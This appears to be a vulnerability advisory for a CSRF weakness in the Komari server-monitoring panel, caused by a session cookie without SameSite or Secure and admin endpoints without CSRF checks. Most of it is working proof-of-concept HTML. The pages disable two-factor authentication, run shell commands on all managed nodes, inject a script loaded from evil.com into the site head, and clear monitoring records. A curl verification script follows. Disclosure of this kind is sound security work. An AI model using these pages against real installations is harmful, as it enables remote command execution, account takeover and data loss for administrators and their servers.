Vulnerability Overview
The session_token cookie is set without the SameSite or Secure attributes (login.go:68).
All /api/admin/ management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.
The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default SameSite=Lax behavior.
Root Cause
// komari-main/api/public/login.go:68
c.SetCookie("session_token", session, 2592000, "/", "", false, true)
// Secure=false, SameSite not explicitly set
// Admin route group (server.go:213-343) has no CSRF middleware
Gin's ShouldBindJSON does not strictly validate the Content-Type header, allowing text/plain requests to bypass CORS preflight.
Browser Limitations
- Chrome 80+ (Feb 2020), Firefox 103+ (Jul 2022), and Safari all default unspecified cookies to
SameSite=Lax.
- Cookies without an explicit
SameSite attribute are not included in cross-site POST requests.
- As a result, the server receives requests without the session cookie and returns HTTP 401 Unauthorized.
| Scenario |
Exploitable |
| Cross-site HTML (modern browsers) |
✗ Blocked by SameSite=Lax |
| Cross-site HTML (Chrome <80 / legacy browsers) |
✓ |
| Same-origin context (Browser Console / existing XSS) |
✓ |
Man-in-the-middle over HTTP (Secure=false) |
✓ |
High-Impact Operations Reachable via CSRF
| Endpoint |
Method |
Impact |
/api/admin/task/exec |
POST |
Execute arbitrary shell commands on managed nodes |
/api/admin/2fa/disable |
POST |
Disable administrator two-factor authentication |
/api/admin/settings/ |
POST |
Modify system configuration |
/api/admin/upload/backup |
POST |
Upload a malicious backup |
/api/admin/record/clear/all |
POST |
Delete all monitoring records |
/api/admin/client/:uuid/edit |
POST |
Modify client configuration |
/api/admin/client/:uuid/remove |
POST |
Remove managed clients |
/api/admin/session/remove/all |
POST |
Invalidate all active sessions |
/api/admin/settings/cloudflared/start |
POST |
Start a Cloudflared tunnel |
PoC 1 — Disable 2FA
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/2fa/disable"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
PoC 2 — Remote Command Execution
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
var CMD = "id && hostname && whoami";
fetch(KOMARI + "/api/admin/client/list", { credentials: "include" })
.then(function(r){ return r.json(); })
.then(function(data){
var nodes = data.data || [];
var uuids = [];
for (var i = 0; i < nodes.length; i++) {
if (nodes[i].uuid) uuids.push(nodes[i].uuid);
}
if (uuids.length === 0) return;
return fetch(KOMARI + "/api/admin/task/exec", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ command: CMD, clients: uuids })
});
});
</script>
</body>
</html>
PoC 3 — Modify System Configuration
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<script>
var KOMARI = "https://komari.example.com";
fetch(KOMARI + "/api/admin/settings/", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({
"site_name": "Pwned",
"custom_head": "<script src='https://evil.com/hook.js'><\/script>"
})
});
</script>
</body>
</html>
PoC 4 — Clear All Monitoring Records
<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<iframe name="sink" style="display:none"></iframe>
<form id="f" method="POST"
action="https://komari.example.com/api/admin/record/clear/all"
target="sink"></form>
<script>
document.getElementById('f').submit();
</script>
</body>
</html>
Verification Script
#!/bin/bash
KOMARI="${1:-https://komari.example.com}"
echo "=== CSRF Verification ==="
echo "[1] Cookie Attributes..."
curl -s -D - -o /dev/null \
-X POST "$KOMARI/api/public/login" \
-H "Content-Type: application/json" \
-d '{"username":"test","password":"test"}' | grep -i 'set-cookie'
echo ""
echo "[2] CORS Headers..."
curl -s -D - -o /dev/null \
-H "Origin: https://evil.com" \
"$KOMARI/api/public/config" | grep -i 'access-control'
echo ""
echo "[3] CSRF Protection on Admin Endpoint..."
CODE=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "$KOMARI/api/admin/settings/" \
-H "Content-Type: application/json" \
-H "Origin: https://evil.com" \
-d '{}')
echo " HTTP ${CODE} — A 401 response indicates that only session authentication is enforced and no CSRF protection is present."
References
Vulnerability Overview
The
session_tokencookie is set without theSameSiteorSecureattributes (login.go:68).All
/api/admin/management endpoints rely solely on this cookie for authentication, with no CSRF token or Origin validation.The server-side vulnerability is confirmed to exist; however, exploitation via cross-site requests is mitigated in modern browsers by the default
SameSite=Laxbehavior.Root Cause
Gin's
ShouldBindJSONdoes not strictly validate theContent-Typeheader, allowingtext/plainrequests to bypass CORS preflight.Browser Limitations
SameSite=Lax.SameSiteattribute are not included in cross-site POST requests.SameSite=LaxSecure=false)High-Impact Operations Reachable via CSRF
/api/admin/task/exec/api/admin/2fa/disable/api/admin/settings//api/admin/upload/backup/api/admin/record/clear/all/api/admin/client/:uuid/edit/api/admin/client/:uuid/remove/api/admin/session/remove/all/api/admin/settings/cloudflared/startPoC 1 — Disable 2FA
PoC 2 — Remote Command Execution
PoC 3 — Modify System Configuration
PoC 4 — Clear All Monitoring Records
Verification Script
References